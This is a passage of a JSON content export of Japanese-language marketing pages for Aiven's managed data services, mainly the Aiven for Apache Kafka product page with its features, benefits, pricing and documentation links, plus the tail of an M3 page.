Aggregator入門、コアコンセプト、ハウツーなどをご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"Aivenドキュメント","title":"ドキュメント","variant":"default"},{"_key":"64520dbd07f5","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"2CXbr629zjZaIp4ylrhkzD","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-f627adc2c95dc69241a0dc02ad66d9330db271bc-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"bd388268ad66","_type":"block","children":[{"_key":"9b1e7da3f49d0","_type":"span","marks":[],"text":"Aiven for M3の詳細についてご説明しています。時系列データからより多くを得るための簡単な方法についてご確認ください。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"M3DBの紹介","variant":"default"},{"_key":"bd3847f3281a74f621d005cd23f350c0","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"27idt1cdblNt5VE88jxtnJ","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-a18921115172cfbf7a9eef3cff6487d5400123a7-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"f563d0131e83","_type":"block","children":[{"_key":"decd8959c3d70","_type":"span","marks":[],"text":"M3を使ってシステムを監視し、Grafanaを使って結果をわかりやすくする方法を紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"M3とGrafanaを使用した指標とグラフ","variant":"default"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"リソース","title":"Aiven for M3の使用方法についての説明"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"f83788c49793","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_type":"reference"},{"_key":"2ce45b50ec07","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec__i18n_ja","_type":"reference"}],"rounded":false,"title":"よくある質問"}],"seo":{"_type":"metaData","metaDescription":"Aiven for M3 - フルマネージド、メンテナンスフリーの時系列データベース ✓ オールインワンのオープンソースクラウドデータプラットフォーム ✓ 無料トライアル","metaImage":{"_type":"mainImage","asset":{"_ref":"image-bec52bae2265ff940e0f5ca3ef603648105f4d43-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for M3®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"マネージドM3、M3アズ・ア・サービス、クラウドM3\",\n \"description\": \"Aiven for M3は、Google Cloud PlatformとAmazon Web Services上に展開可能な、フルマネージドで配布可能なメトリクスプラットフォームです。\",\n \"featureList\": \"Google Cloud Platformで利用可能、Amazon Web Servicesで利用可能\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/m3db\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"オープンソースの分散型時系列データベース\",\n \"applicationSubCategory\": \"データベース\"\n}","metaTitle":"Managed M3DBサービス|Aiven"},"service":{"_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"},"slug":{"_type":"slug","current":"/m3"},"title":"M3"} {"__i18n_base":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-05-26T13:50:00Z","_id":"5e18872b-5613-4fc8-aaaa-0a36263634f5__i18n_ja","_rev":"If5MXS1R4Zj7MKtcdBZNEt","_type":"product","_updatedAt":"2024-02-13T14:53:25Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Apache Kafka®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"},"title":"Aivenプラットフォーム"}},"description":[{"_key":"1b1cef0c2ef4","_type":"block","children":[{"_key":"a96e62e022660","_type":"span","marks":[],"text":"Apache Kafkaを、ベンダーロックインのない、ストリームパイプライン構築に必要な機能をすべて備えたフルマネージドサービスとして提供します。"}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"f648e8c506f2","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"1c146859ce27","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"7ed3933a65a3","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-855f2451d7db558f8db7fb5cd49605ac0fdbeaa4-1600x1074-png","_type":"reference"}},"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka","title":"ドキュメントを見る"},"tagline":"マネージド&ホスティング","title":"Aiven for Apache Kafka®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"機能"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"メリット"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"お客様の活用事例"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"価格"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"機能紹介"},{"_key":"8af4fd351767","_type":"scrollSpyNavItem","sectionId":"resources","title":"リソース"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"よくある質問"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Aiven for Apache Kafka®"},"rounded":false,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"c3f4e356-f474-4130-827c-fb30a78ac222","_type":"reference"},"title":"最適なプランを探す"},"title":"Aiven for Apache Kafka®"},{"_key":"1478d7d16445","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"2146ebe0d6b0","_type":"block","children":[{"_key":"a14e3412ecff0","_type":"span","marks":[],"text":"フルマネージドのApache Kafkaのセットアップは、Webコンソールから直接、またはAPI、CLI、Terraformプロバイダーを使用するプログラムで10分以内に完了します。30以上のコネクタを使用して既存の技術スタックに簡単に接続でき、サービス統合によってロギングとメトリクスをすぐに利用できるため、セットアップに自信が持てます。"}],"markDefs":[],"style":"normal"}],"tagline":"機能","title":"Aiven for Apache Kafkaでできること","variant":"centerColumn"},{"_key":"2e8ed8b9cf9ad29f721968c4f7958ace","_type":"iconList","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":false,"iconSize":48,"icons":[{"_key":"aca98a557744","_type":"iconItem","cta":{"_type":"link","internalLink":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784","_type":"reference"},"title":"詳細はこちら"},"iconImage":{"_type":"mainImage","asset":{"_ref":"image-685613765c01f84c2db04678b0d4629ede9947ad-64x64-svg","_type":"reference"}},"title":"Aiven for Apache Kafka®️ Connectで社内外のサービスを接続"}],"rounded":true,"variant":"icon-left"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","noSpaceTop":true,"rounded":false,"steps":[{"_key":"7764be2f4957","_type":"textItem","content":[{"_key":"a216fd5dd2d3","_type":"block","children":[{"_key":"4a19e11e62fe0","_type":"span","marks":[],"text":"Aiven for Apache Kafkaを使い、膨大なデータをアプリケーション間で迅速に移動"}],"markDefs":[],"style":"h3"},{"_key":"4c96334ad6f6","_type":"block","children":[{"_key":"6f6458e7f6070","_type":"span","marks":[],"text":"フルマネージドの分散データストリーミングプラットフォームを、お客様が選んだクラウド上にデプロイできます。イベント駆動型アプリケーション、リアルタイムに近いデータ転送とパイプライン、ストリーム分析など、アプリケーション間で大量のデータを素早く移動する必要がある場合に最適です。"}],"markDefs":[],"style":"normal"},{"_key":"905f1a61e359","_type":"block","children":[{"_key":"4da4eb6745ee0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"9bd9b8db8497","_type":"block","children":[{"_key":"df18e92e2a780","_type":"span","marks":["00c31a234139"],"text":"Aiven for Apache Kafka入門(ドキュメント)"}],"markDefs":[{"_key":"00c31a234139","_type":"link","href":"https://aiven.io/docs/products/kafka/get-started"}],"style":"normal"},{"_key":"92c2cc623495","_type":"block","children":[{"_key":"95979c908aa80","_type":"span","marks":["5053cac8efaf"],"text":"Apache Kafkaとは"}],"markDefs":[{"_key":"5053cac8efaf","_type":"internalLink","internalLink":{"_ref":"cea04874-dd89-4b2c-acc7-3d1ddaf32a22","_type":"reference"}}],"style":"normal"},{"_key":"4e6a4dcdb67f","_type":"block","children":[{"_key":"1a2df5e6cae90","_type":"span","marks":["d6fb6762340b"],"text":"イベント駆動型アーキテクチャの紹介(ブログ)"}],"markDefs":[{"_key":"d6fb6762340b","_type":"internalLink","internalLink":{"_ref":"5tcvRybcSkU7QRXuhXA7vZ","_type":"reference"}}],"style":"normal"}]},{"_key":"680f378ade94","_type":"textItem","content":[{"_key":"b3e4070788b9","_type":"block","children":[{"_key":"20410ed643570","_type":"span","marks":[],"text":"Aiven for Apache Kafka Connectで既存のデータソースを統合"}],"markDefs":[],"style":"h3"},{"_key":"8b819b45a46f","_type":"block","children":[{"_key":"dbb72cf7ee040","_type":"span","marks":[],"text":"既存のデータソースを統合し、Apache Kafkaとシームレスに同期できるフルマネージドの分散Apache Kafkaコンポーネントです。30種類以上のコネクタを内臓しています。"}],"markDefs":[],"style":"normal"},{"_key":"46abc68b4583","_type":"block","children":[{"_key":"6bf29b7a510a0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"da39f39bf4a1","_type":"block","children":[{"_key":"f3bd05c7cfc00","_type":"span","marks":["ee8851238d84"],"text":"Aiven for Apache Kafkaのコネクタを見る"}],"markDefs":[{"_key":"ee8851238d84","_type":"internalLink","internalLink":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784","_type":"reference"}}],"style":"normal"},{"_key":"0557782d589c","_type":"block","children":[{"_key":"665a5c63cc12","_type":"span","marks":["30dc5c20d2f3"],"text":"Aiven for Apache Kafka Connect入門(ドキュメント)"}],"markDefs":[{"_key":"30dc5c20d2f3","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/get-started"}],"style":"normal"},{"_key":"2d6bf651d3ab","_type":"block","children":[{"_key":"ef375e601a280","_type":"span","marks":["30692184b5de"],"text":"コネクタを探す(ドキュメント)"}],"markDefs":[{"_key":"30692184b5de","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins"}],"style":"normal"},{"_key":"64dc8c6112a9","_type":"block","children":[{"_key":"3192803a6d060","_type":"span","marks":["529053a4f691"],"text":"Kafka Connectの使用例(ブログ)"}],"markDefs":[{"_key":"529053a4f691","_type":"internalLink","internalLink":{"_ref":"7bElzaANLEsZkdrtXlmTqh","_type":"reference"}}],"style":"normal"}]},{"_key":"b66441d94eb4","_type":"textItem","content":[{"_key":"b958542b866b","_type":"block","children":[{"_key":"6d7173d3c7e90","_type":"span","marks":[],"text":"Aiven for Apache Kafka MirrorMaker 2でKafkaクラスターを複製"}],"markDefs":[],"style":"h3"},{"_key":"13046fa54cd3","_type":"block","children":[{"_key":"d968c98c31520","_type":"span","marks":[],"text":"ディザスタリカバリや地理的近接性に対応した、フルマネージドの分散Apache Kafkaデータレプリケーションツールです。レプリケーションフローを定義し、世界のどこにデプロイされたApache Kafkaクラスタ間であってもトピックデータを同期します。"}],"markDefs":[],"style":"normal"},{"_key":"92c058b43ced","_type":"block","children":[{"_key":"f52de866f55b0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"52f61d2a9770","_type":"block","children":[{"_key":"aa9cdfea93240","_type":"span","marks":["f773254ce11b"],"text":"Aiven for Apache Kafka MirrorMaker 2入門(ドキュメント)"}],"markDefs":[{"_key":"f773254ce11b","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-mirrormaker/get-started"}],"style":"normal"},{"_key":"213832d1c3ac","_type":"block","children":[{"_key":"2f67978d112d0","_type":"span","marks":["d354d1d40241"],"text":"データレプリケーションにMirrorMaker 2.0を使うべき5つの理由(ブログ)"}],"markDefs":[{"_key":"d354d1d40241","_type":"internalLink","internalLink":{"_ref":"5ldaB9gWRk2DWBu2R3QzcR","_type":"reference"}}],"style":"normal"}]},{"_key":"5627270af86a","_type":"textItem","content":[{"_key":"c6d30b01da08","_type":"block","children":[{"_key":"0c72bf1819550","_type":"span","marks":[],"text":"Aiven for Apache Flinkによるリアルタイムのストリーム処理"}],"markDefs":[],"style":"h3"},{"_key":"bbcef9f78f6c","_type":"block","children":[{"_key":"14229aaf6e940","_type":"span","marks":[],"text":"オープンソースフレームワークApache Flinkを使用し、Aiven for Apache Kafkaのデータストリーム上でステートフルな計算を行うための分散処理エンジンです。これで、SQLを使用するリアルタイムのストリーム処理を簡単に始めることができます。"}],"markDefs":[],"style":"normal"},{"_key":"515f2cd1850b","_type":"block","children":[{"_key":"0dae282a206d0","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"36708c9da2fc","_type":"block","children":[{"_key":"f7cf6776daf40","_type":"span","marks":["e6cf6432a2dd"],"text":"Aiven for Apache Flink入門(ドキュメント)"}],"markDefs":[{"_key":"e6cf6432a2dd","_type":"link","href":"https://aiven.io/docs/products/flink/get-started"}],"style":"normal"},{"_key":"ece30cad36c4","_type":"block","children":[{"_key":"df404e2222b50","_type":"span","marks":["875c7cf25e56"],"text":"Apache Flink入門(ブログ)"}],"markDefs":[{"_key":"875c7cf25e56","_type":"internalLink","internalLink":{"_ref":"2gd1vIdghZUUbOpQMshxXS","_type":"reference"}}],"style":"normal"},{"_key":"110de7e95af2","_type":"block","children":[{"_key":"ce226e9375de0","_type":"span","marks":["fd3e0b5af39f"],"text":"Apache FlinkとApache KafkaでストリーミングSQLパイプラインを構築する(ブログ)"}],"markDefs":[{"_key":"fd3e0b5af39f","_type":"internalLink","internalLink":{"_ref":"7IDTlcURHzZ8SEgvYlcy6Q","_type":"reference"}}],"style":"normal"}]},{"_key":"b4cd2ac7dbf7","_type":"textItem","content":[{"_key":"b682054aac76","_type":"block","children":[{"_key":"468249f74de00","_type":"span","marks":[],"text":"Schema RegistryとRESTプロキシを使った簡単なアプリケーション開発"}],"markDefs":[],"style":"h3"},{"_key":"7640ed7808c5","_type":"block","children":[{"_key":"4f9fdd24b6320","_type":"span","marks":[],"text":"Schema Registryは、アプリケーションがメッセージをシリアライズあるいはデシリアライズするためにアクセスできる標準スキーマの中央リポジトリです。RESTプロキシは、メッセージの生成と消費のために、Apache KafkaクラスタへのHTTPインターフェースを提供します。どちらもConfluentのSchema RegistryとKafka RESTプロキシの代わりに、100%オープンソースのKarapaceを使い実装されています。"}],"markDefs":[],"style":"normal"},{"_key":"1b2627c09859","_type":"block","children":[{"_key":"3104d2ada0970","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"e7cba4619192","_type":"block","children":[{"_key":"7a3f4b970c880","_type":"span","marks":["a958ed615d01"],"text":"KarapaceのWebサイト"}],"markDefs":[{"_key":"a958ed615d01","_type":"link","href":"https://karapace.io/"}],"style":"normal"},{"_key":"949da40a029b","_type":"block","children":[{"_key":"a3a88c8d91a90","_type":"span","marks":["4f84ee36ad2a"],"text":"Karapaceのドキュメント"}],"markDefs":[{"_key":"4f84ee36ad2a","_type":"link","href":"https://github.com/aiven/karapace/blob/master/README.rst"}],"style":"normal"},{"_key":"b57c8f4e1d41","_type":"block","children":[{"_key":"6540a18feab60","_type":"span","marks":["9a95a07b7a40"],"text":"Karapaceとは(ブログ)"}],"markDefs":[{"_key":"9a95a07b7a40","_type":"internalLink","internalLink":{"_ref":"4kZePZcGxjPJAFk0KUyhp2","_type":"reference"}}],"style":"normal"}]},{"_key":"00436dba0c9f","_type":"textItem","content":[{"_key":"3234498374a0","_type":"block","children":[{"_key":"ccbbd2aa08d00","_type":"span","marks":[],"text":"Apache KafkaのトピックとApache Kafka ACLを効率的にガバナンス"}],"markDefs":[],"style":"h3"},{"_key":"588e84bf3ef2","_type":"block","children":[{"_key":"a5e035163f0a0","_type":"span","marks":[],"text":"Apache Kafka®のトピックとスキーマをガバナンスするためのオープンソースのデータガバナンスツールキットで、Webベースのユーザーインターフェイスを備えています。ユーザー管理、データガバナンス層、セキュリティの強化を実現します。"}],"markDefs":[],"style":"normal"},{"_key":"ce8d44921b40","_type":"block","children":[{"_key":"97333111560a0","_type":"span","marks":["strong"],"text":"リソース"}],"markDefs":[{"_key":"37fc03cdb81e","_type":"link","href":"https://aiven.io/blog/what-is-clickhouse"}],"style":"normal"},{"_key":"01c9c2c3450a","_type":"block","children":[{"_key":"1e206b93e9e80","_type":"span","marks":["423bd64b1dbf"],"text":"Apache Kafka® ガバナンスのためのKlawの紹介(ブログ)"}],"markDefs":[{"_key":"423bd64b1dbf","_type":"internalLink","internalLink":{"_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"}}],"style":"normal"},{"_key":"2f0213b02b2d","_type":"block","children":[{"_key":"cbfa5df4e9400","_type":"span","marks":["830e36743f14"],"text":"Klawプロジェクトページ"}],"markDefs":[{"_key":"830e36743f14","_type":"link","href":"https://klaw-project.io/"}],"style":"normal"},{"_key":"2dfef111ffa8","_type":"block","children":[{"_key":"f40b9415ee2a0","_type":"span","marks":["9ba26aaa84cb"],"text":"Klawドキュメント(ドキュメント)"}],"markDefs":[{"_key":"9ba26aaa84cb","_type":"link","href":"https://klaw-project.io/docs"}],"style":"normal"}]},{"_key":"35e7f7792fe0","_type":"textItem","content":[{"_key":"afb5d8b375b1","_type":"block","children":[{"_key":"08c6b0cfe60a0","_type":"span","marks":[],"text":"お気に入りの外部ロギングツール、監視ツールとの連携"}],"markDefs":[],"style":"h3"},{"_key":"ea933e31491a","_type":"block","children":[{"_key":"b590247aa15f0","_type":"span","marks":[],"text":"Datadog、Prometheus、AWS CloudWatch、Elasticsearchなどのツールの統合も容易に行え、またAivenのサービスであるM3、Grafana、OpenSearchで監視やロギングを強化することもできます。サーバやサービス固有のメトリクスを外部エンドポイントに公開し、Apache Kafkaクラスターの健全性を監視します。"}],"markDefs":[],"style":"normal"},{"_key":"ef4aef9333d0","_type":"block","children":[{"_key":"ef001e2f2cf50","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"45cdf18d177d","_type":"block","children":[{"_key":"4b97ae05979b0","_type":"span","marks":["d6067df0c283"],"text":"Aiven製品すべての統合機能(Webページ)"}],"markDefs":[{"_key":"d6067df0c283","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"},{"_key":"80e7112be789","_type":"block","children":[{"_key":"fc4de7bf11680","_type":"span","marks":["8370cf7bd0f1"],"text":"Datadog入門(ドキュメント)"}],"markDefs":[{"_key":"8370cf7bd0f1","_type":"link","href":"https://docs.aiven.io/docs/integrations/datadog/datadog-metrics"}],"style":"normal"},{"_key":"d19e14060766","_type":"block","children":[{"_key":"6874ac41cc590","_type":"span","marks":["8c9968ebc2b0"],"text":"Rsyslogプロトコル - 外部監視システムとの統合(ドキュメント)"}],"markDefs":[{"_key":"8c9968ebc2b0","_type":"link","href":"https://docs.aiven.io/docs/integrations/rsyslog"}],"style":"normal"}]}],"tools":[{"_key":"92b284cfbd63","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"33266d75cf7f","_ref":"8986d4de-d1f0-456a-9b22-94d18130dded","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"826ecfa00340","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"必要なツールで管理する","variant":"kafka-ecosystem"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"42c640bed547","_type":"block","children":[{"_key":"96fa9ec854010","_type":"span","marks":[],"text":"クラスタへのメンテナンスアップデートやバージョンアップの適用に時間を取られていませんか。Aivenのダッシュボードを使えば、どちらの操作もワンクリックで完了します。中断やダウンタイムが生じることはありません。"}],"markDefs":[],"style":"normal"}],"title":"自動アップデート、自動アップグレードによりストレスゼロ"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ac6bcb5a619c","_type":"block","children":[{"_key":"987b7a5a638c0","_type":"span","marks":[],"text":"重要なアプリケーションにとってダウンタイムは災害です。その災害を防ぐため、Aivenは99.99%のアップタイムを実現しました。さらに、必要な際には、サポートチームのスタッフに問い合わせることができます。"}],"markDefs":[],"style":"normal"}],"title":"99.99%のアップタイム - 100%サポート要員によるサポート"},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"b71cde196181","_type":"block","children":[{"_key":"bc3d64330e130","_type":"span","marks":[],"text":"Aiven for Apache Kafkaの価格には、すべてが含まれています。一括払いで、ネットワークからデータストレージなどにかかるコストがすべて含まれています。追加の請求や手数料などは一切ありません。"}],"markDefs":[],"style":"normal"}],"title":"透明性が高い価格設定 - ネットワークコストは不要"},{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"7d5466f98e8b","_type":"block","children":[{"_key":"a48fc1f118aa0","_type":"span","marks":[],"text":"ストレージ容量を増やす、ノードを増やす、新しいクラスタを作成する、新しいリージョンを拡張する等、Apache Kafkaではかつてないほど簡単に実現できます。"}],"markDefs":[],"style":"normal"}],"title":"必要に応じてスケールアップ、スケールダウンが可能"}],"id":"benefits","rounded":false,"subtitle":[{"_key":"0187718450cd","_type":"block","children":[{"_key":"5c5b39a430ba0","_type":"span","marks":[],"text":"Aivenがホスティングし管理するApache Kafkaを使用すると、ワンクリックするだけで、クラスタのセットアップ、新しいノードのデプロイ、クラウドの移行、既存のバージョンのアップグレードが実行でき、シンプルなダッシュボードで監視することができます。"}],"markDefs":[],"style":"normal"},{"_key":"33e0590e7a55","_type":"block","children":[{"_key":"682fa062bc4e0","_type":"span","marks":[],"text":"これでApache Kafkaの複雑さに煩わされることなく、アプリケーションの開発と実装に注力することができます。"}],"markDefs":[],"style":"normal"}],"tagline":"メリット","title":"Aiven for Apache Kafka®サービスのメリット","variant":"header-left"},{"_key":"9ea9e20f9cda","_type":"testimonial","ctaLink":{"_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"すべてのケーススタディを見る"},"disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"99fa02b3adb5","_ref":"3jhoeW4WtmLGAT0ZFNUpSq__i18n_ja","_type":"reference"},{"_key":"2100b523fd5c","_ref":"3HA9EJzwGAqwgMzmABCVjS__i18n_ja","_type":"reference"}],"rounded":false,"tagline":"お客様の活用事例","title":"Aivenのお客様によるApache Kafkaの活用方法","variant":"logo"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/ja/pricing?product=kafka","title":"プランを見る"},"subtitle":[{"_key":"b55b3738bf9c","_type":"block","children":[{"_key":"566f28f69f230","_type":"span","marks":[],"text":"月額200ドルからスタートし、価格は、ノード数とストレージ要求に応じて変わります。時間単位での課金により、コストを削減できます。プランの変更は、追加料金なしでいつでも可能です。"}],"markDefs":[],"style":"normal"}],"title":"プランの比較","variant":"default"},{"_key":"a1478b4c99a8","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"c3f4e356-f474-4130-827c-fb30a78ac222__i18n_ja","_type":"reference"},"title":"最適なプランを探す"},"subtitle":[{"_key":"413b6b962131","_type":"block","children":[{"_key":"fa2bd6ef02830","_type":"span","marks":[],"text":"Aiven for Apache Kafkaのプラン検索(Kafka plan finder)を使用して、お客様のニーズに合った最適なプランを算出します。プランは、追加費用なしで、いつでも変更することができます。"}],"markDefs":[],"style":"normal"}],"title":"最適なプランを探す","variant":"default"}],"rounded":false,"subtitle":[{"_key":"c327520ba6b4","_type":"block","children":[{"_key":"ccadc09bebbb0","_type":"span","marks":[],"text":"月額にはすべてが含まれているため、月末に予期せぬ請求額が届くことはありません。メンテナンス、ネットワーク、ストレージの追加料金はありません。プライベートネットワーク(VPC)、高可用性マルチAZ、シングルテナント、各仮想マシンを異なる可用性ゾーンに配置した専用クラスタであるため、必要に応じてスケールアップ・スケールダウンし、使用した分だけ課金されます。"}],"markDefs":[],"style":"normal"}],"tagline":"価格プラン","title":"最小限のプランでも高可用性を実現"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。\\nすべての機能が含まれています。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"title":"今すぐオンラインで最初のデータ基盤を立ち上げましょう","variant":"centerColumn"},{"_key":"f4e2cb30eaf6","_type":"textColumn","disabled":false,"fullWidth":false,"id":"features","noSpaceBottom":true,"rounded":false,"tagline":"機能紹介","title":"主な機能","variant":"centerColumn"},{"_key":"b3c61d1d32f4faf97c0a21c456589e75","_type":"textVideo","disabled":false,"fullWidth":false,"rounded":false,"tagline":"セットアップ","text":[{"_key":"fa87b9d16c18","_type":"block","children":[{"_key":"2ddbb6e516e1","_type":"span","marks":[],"text":"10分で本番環境にApache Kafkaクラスタを構築"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ba6dedb6d17c","_type":"block","children":[{"_key":"8effb32b68ae0","_type":"span","marks":[],"text":"ご希望のクラウドにデプロイ可能 - 5つのパブリッククラウドと100以上のリージョンをサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4ce7f615d2ea","_type":"block","children":[{"_key":"4d67414d90bd0","_type":"span","marks":[],"text":"すべてのプランに、最低3台の専用仮想マシンが付属し、高可用性と耐障害性を強化"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1f10fa21b682","_type":"block","children":[{"_key":"5e1fe7f627340","_type":"span","marks":[],"text":"厳しい管理要件に対応した"},{"_key":"5e1fe7f627341","_type":"span","marks":["f574c7bfa873"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"5e1fe7f627342","_type":"span","marks":[],"text":"デプロイモデル"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f574c7bfa873","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"柔軟、迅速、ストレスフリー","variant":"mediaLeft","ytId":"FA6pcvhhut8"},{"_key":"85009f410ade83c5a2683908777f1823","_type":"textVideo","disabled":false,"fullWidth":false,"noSpaceBottom":false,"rounded":false,"tagline":"接続","text":[{"_key":"b2323a8ce23f","_type":"block","children":[{"_key":"6fef36c178520","_type":"span","marks":[],"text":"SAMLまたはGoogle OAuthを使用してお客様の認証ソリューションに統合"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e7f06719134f","_type":"block","children":[{"_key":"3ccc272654ea0","_type":"span","marks":[],"text":"マネージドKafka 